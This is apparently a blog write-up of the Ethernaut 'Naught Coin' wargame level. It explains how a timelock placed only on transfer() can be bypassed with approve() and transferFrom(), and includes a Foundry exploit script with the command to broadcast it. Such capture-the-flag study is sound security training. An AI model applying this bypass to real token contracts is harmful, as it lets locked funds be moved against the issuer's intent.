Ethernaut Level 15 - Naught Coin

Ethernaut Level 15 - Naught Coin

Analysis and solution for Ethernaut's Level 15 - Naught Coin, with Solidity and Foundry


This level is based on ERC20 tokens, and our player is already holding all of them. To complete this level, we must get our token balance to 0, i.e., transfer all the tokens from our account to someone else's.

The catch is that there's a lockout period of 10 years and we need to bypass this somehow. Let's get started.


To understand this level, we must know what an ERC20 token standard is. It is an API for tokens that defines certain standard function calls, parameters, and events and anyone who intends to create an ERC20 token must follow those standards. This makes it easier for all the developers using these tokens to predict their usage and interactions.

There are two important areas in this vulnerable contract. They are: The function transfer() and the modifier lockTokens().

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    super.transfer(_to, _value);

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
    if (msg.sender == player) {
        require(now > timeLock);
    } else {

To transfer the tokens out of our account we could have called the transfer() function but since it is using a modifier that is checking for the timelock period, we can't do this.

This is where the knowledge of ERC20 is used. There are more ways to transfer tokens out of a contract. The transfer() function is one of the methods and the other one is approve() and transferFrom().

Both approve() and transferFrom() are used in conjunction.


function approve(address _spender, uint256 _value) public returns (bool success)

This function is used to allow the _spender to spend _value amount of tokens on behalf of the owner.


function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)

This function is used to transfer the approved tokens (_value) from the owner's account to the address mentioned in the _to by the _spender approved in the previous step.

Since the Naught Coin contract is inheriting from ERC20, and the modifier lockTokens() is not enforcing the timelock on the transferFrom() function, we are free to call the approve and transferFrom to transfer all the tokens out of our account.

The Exploit

Here's our exploit code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "../instances/Ilevel15.sol";

contract POC is Script {

    NaughtCoin level15 = NaughtCoin(0x3212D0421E355a28150991E610d0e01fa7b7Cf66);

    function run() external{
        address myWallet = 0xEAce4b71CA1A128e8B562561f46896D55B9B0246;
        uint myBal = level15.balanceOf(myWallet);
        console.log("Current balance is: ", myBal);

        level15.approve(myWallet, myBal);
        level15.transferFrom(myWallet, address(level15), myBal);

        console.log("New balance is: ", level15.balanceOf(myWallet));

In the code shown above, the address stored inside myWallet is our own wallet's/player address which owns all the Naught Coins.

We are logging the current and the new balance of our player to make sure the attack was successful.

  • The approve() function is called to approve our own address to spend the total token balance.
  • The transferFrom() function is called to transfer the approved tokens from our account to any random account (I'm just using the Naught Coin contract address).

Let's run the script using the following command. The console log shows the updated balance.

forge script ./script/level15.sol --private-key $PKEY --broadcast --rpc-url $RPC_URL -vvvv


The instance can now be submitted to finish the level.

My Github Repository containing all the codes:


If you are inheriting from any token standard or another contract, make sure to implement all the available functions or check that they can't be abused to modify the contract's logic.